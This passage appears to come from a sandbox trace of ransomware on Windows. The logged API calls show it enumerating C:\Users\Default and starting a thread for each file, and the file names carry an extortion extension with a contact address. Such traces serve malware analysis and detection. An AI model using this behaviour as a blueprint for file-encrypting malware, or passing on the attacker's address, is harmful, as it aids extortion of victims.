1 [0168.213] wcscmp (_String1="NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.213] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f82bc8 [0168.213] wcscpy (in: _Dest=0x2f82bc8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.213] wcscat (in: _Dest=0x2f82bc8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.213] wcscat (in: _Dest=0x2f82bc8, _Source="NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731" [0168.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0168.214] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x819d7c9a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NT3B00~1.D0E")) returned 1 [0168.214] wcscmp (_String1="NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.214] wcscmp (_String1="NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f82f28 [0168.214] wcscpy (in: _Dest=0x2f82f28, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.214] wcscat (in: _Dest=0x2f82f28, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.214] wcscat (in: _Dest=0x2f82f28, _Source="NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731" [0168.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0168.215] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x81a24310, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x100c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NTF2DB~1.D0E")) returned 1 [0168.215] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.215] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97758 [0168.215] wcscpy (in: _Dest=0x2f97758, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.215] wcscat (in: _Dest=0x2f97758, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.215] wcscat (in: _Dest=0x2f97758, _Source="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731" [0168.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0168.216] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ddd9675, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x82caf5e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x80100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NTF09B~1.D0E")) returned 1 [0168.216] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.216] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.216] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11e) returned 0x2f70d80 [0168.216] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.216] wcscat (in: _Dest=0x2f70d80, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.216] wcscat (in: _Dest=0x2f70d80, _Source="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0168.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f70d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0168.216] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de71fdf, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0x855d0141, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0x81a24310, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x80100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NTUSER~3.D0E")) returned 1 [0168.216] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.216] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.216] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11e) returned 0x2f6ab60 [0168.217] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.217] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.217] wcscat (in: _Dest=0x2f6ab60, _Source="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0168.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0168.217] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x81a9680e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x100c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NT3D5B~1.D0E")) returned 1 [0168.217] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.217] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97678 [0168.217] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.217] wcscat (in: _Dest=0x2f97678, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.217] wcscat (in: _Dest=0x2f97678, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731" [0168.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0168.218] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x81945d5d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x80100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NTUSER~4.D0E")) returned 1 [0168.218] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.218] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11e) returned 0x2f8f458 [0168.218] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.218] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.218] wcscat (in: _Dest=0x2f8f458, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0168.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0168.219] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b716935, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b716935, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x803578ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x80100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NTUSER~1.D0E")) returned 1 [0168.219] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.219] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11e) returned 0x2f8f580 [0168.219] wcscpy (in: _Dest=0x2f8f580, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.219] wcscat (in: _Dest=0x2f8f580, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.219] wcscat (in: _Dest=0x2f8f580, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0168.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0168.220] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0168.220] wcscmp (_String1="Pictures", _String2=".") returned 1 [0168.220] wcscmp (_String1="Pictures", _String2="..") returned 1 [0168.220] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f805a0 [0168.220] wcscpy (in: _Dest=0x2f805a0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.220] wcscat (in: _Dest=0x2f805a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.220] wcscat (in: _Dest=0x2f805a0, _Source="Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0168.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f805a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0168.221] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0168.221] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0168.221] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0168.221] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fe20 [0168.221] wcscpy (in: _Dest=0x2f7fe20, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.221] wcscat (in: _Dest=0x2f7fe20, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.221] wcscat (in: _Dest=0x2f7fe20, _Source="PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0168.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fe20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0168.222] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0168.222] wcscmp (_String1="Recent", _String2=".") returned 1 [0168.222] wcscmp (_String1="Recent", _String2="..") returned 1 [0168.222] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x3013478 [0168.222] wcscpy (in: _Dest=0x3013478, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.222] wcscat (in: _Dest=0x3013478, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.222] wcscat (in: _Dest=0x3013478, _Source="Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0168.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0168.222] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0168.222] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0168.222] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0168.223] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87428 [0168.223] wcscpy (in: _Dest=0x2f87428, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.223] wcscat (in: _Dest=0x2f87428, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.223] wcscat (in: _Dest=0x2f87428, _Source="Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0168.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0168.223] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0168.223] wcscmp (_String1="SendTo", _String2=".") returned 1 [0168.223] wcscmp (_String1="SendTo", _String2="..") returned 1 [0168.223] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x3013638 [0168.223] wcscpy (in: _Dest=0x3013638, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.223] wcscat (in: _Dest=0x3013638, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.223] wcscat (in: _Dest=0x3013638, _Source="SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0168.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0168.224] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0168.224] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0168.224] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0168.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f7fe60 [0168.224] wcscpy (in: _Dest=0x2f7fe60, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.224] wcscat (in: _Dest=0x2f7fe60, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.224] wcscat (in: _Dest=0x2f7fe60, _Source="Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0168.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fe60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0168.225] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0168.225] wcscmp (_String1="Templates", _String2=".") returned 1 [0168.225] wcscmp (_String1="Templates", _String2="..") returned 1 [0168.225] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7faa0 [0168.225] wcscpy (in: _Dest=0x2f7faa0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.225] wcscat (in: _Dest=0x2f7faa0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.225] wcscat (in: _Dest=0x2f7faa0, _Source="Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0168.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7faa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0168.226] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0168.226] wcscmp (_String1="Videos", _String2=".") returned 1 [0168.226] wcscmp (_String1="Videos", _String2="..") returned 1 [0168.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x30133d0 [0168.226] wcscpy (in: _Dest=0x30133d0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0168.226] wcscat (in: _Dest=0x30133d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0168.226] wcscat (in: _Dest=0x30133d0, _Source="Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0168.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30133d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0168.227] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2f9e430 | out: lpFindFileData=0x2f9e430*(dwFileAttributes=0x11, 